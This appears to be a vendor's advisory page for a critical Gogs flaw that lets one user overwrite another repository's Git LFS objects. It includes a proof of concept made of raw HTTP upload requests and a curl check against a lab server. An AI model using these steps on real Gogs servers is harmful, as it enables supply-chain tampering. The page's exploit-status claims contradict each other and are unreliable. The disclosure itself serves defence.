How severe is GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c has a CVSS score of 9.3/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c affects the following packages: gogs.io/gogs (Go). Ecosystems affected: Go.

How do I fix GHSA-cj4v-437j-jq4c?

Update gogs.io/gogs to 0.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cj4v-437j-jq4c is resolved across your whole dependency graph.

How do I detect GHSA-cj4v-437j-jq4c in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-cj4v-437j-jq4c if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is GHSA-cj4v-437j-jq4c actively exploited in the wild?

No public exploit code has been indexed for GHSA-cj4v-437j-jq4c yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 31th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-cj4v-437j-jq4c?

GHSA-cj4v-437j-jq4c is classified as CWE-345 (CWE-345). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-cj4v-437j-jq4c published, and has it been updated?

GHSA-cj4v-437j-jq4c was published on March 5, 2026 and was last updated on March 23, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

CRITICAL severity

Gogs: Cross-repository LFS object overwrite via missing content hash verificationGHSA-cj4v-437j-jq4c

CRITICALFix: gogs/gogs#8166

GHSA-cj4v-437j-jq4c is a critical-severity (CVSS 9.3) CWE-345 vulnerability in gogs.io/gogs. A fix is available for gogs.io/gogs — see the affected versions and patch details below.

Also known asCVE-2026-25921GO-2026-4616

Published

Mar 5, 2026

Updated

Mar 23, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-cj4v-437j-jq4c.

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk+0.10%

Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

🐹gogs.io/gogs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.

Details

Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58

Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89

Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113

PoC

# ./gogs -v
Gogs version 0.13.0

1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally

POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168

{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}

response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
                                     'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
                          'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
              'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
              'size': 1048576}],
 'transfer': 'basic'}

[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response:  <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92

{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}

response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT

In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a

2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`

PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response:  <Response [200]>

3. Verify the content has been overwritten:

# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced

Impact

All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.

Fix Suggestion

Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.

Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`gogs.io/gogs`	all versions	0.14.2`go get gogs.io/gogs@v0.14.2`

Affected Products

1 product · 1 configurations

Application

gogsgogs

< 0.14.2

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gogs.io/gogs to 0.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cj4v-437j-jq4c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers. ### Details Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58 Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.

O3 Security · Impact-Aware SCA

Is GHSA-cj4v-437j-jq4c in your dependencies?

Find it across Go, including transitive dependencies.

Scan my dependencies How O3 SCA works

CVSS Score

9.3/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Changed

Confidentiality

None

Integrity

High

Availability

Low

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L

CWE Classification

CWE-345CWE-345

Weaponization

No Nuclei template, Metasploit module or public proof-of-concept found.

OpenSSF Scorecard

Package health score

gogs

5.3/10

Code-Review1/10

Maintained6/10

Branch-ProtectionN/A

Assessed Oct 19, 2026

Timeline

Disclosed

Mar 5, 2026

Last updated

Mar 23, 2026

Identifiers

GHSA-cj4v-437j-jq4c

GO-2026-4616

References

Advisorynvd.nist.gov · CVE 2026 25921 Webgithub.com · GHSA cj4v 437j jq4c Webgithub.com Webgithub.com · 81ee8836445ac888d99da8b652be7d5cbc5c4d5c Webgithub.com · v0.14.2 Packagegithub.com · gogs

Related vulnerabilities

This CVE is critical severity; 2 of 8 other CVEs affecting gogs are rated as high or higher (top: critical).

CVE-2026-52808CVE-2026-52816CVE-2026-52804CVE-2026-52809CVE-2026-52812CVE-2026-52815CVE-2026-52811CVE-2026-52813

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedMar 23, 2026

Gogs: Cross-repository LFS object overwrite via missing content hash verificationGHSA-cj4v-437j-jq4c

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally

2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git

3. Verify the content has been overwritten:

Impact

Fix Suggestion

Affected Packages

Affected Products

Detection & mitigation playbook

Detect

Fix

Workarounds

Frequently Asked Questions

Is GHSA-cj4v-437j-jq4c in your dependencies?

1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally

2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`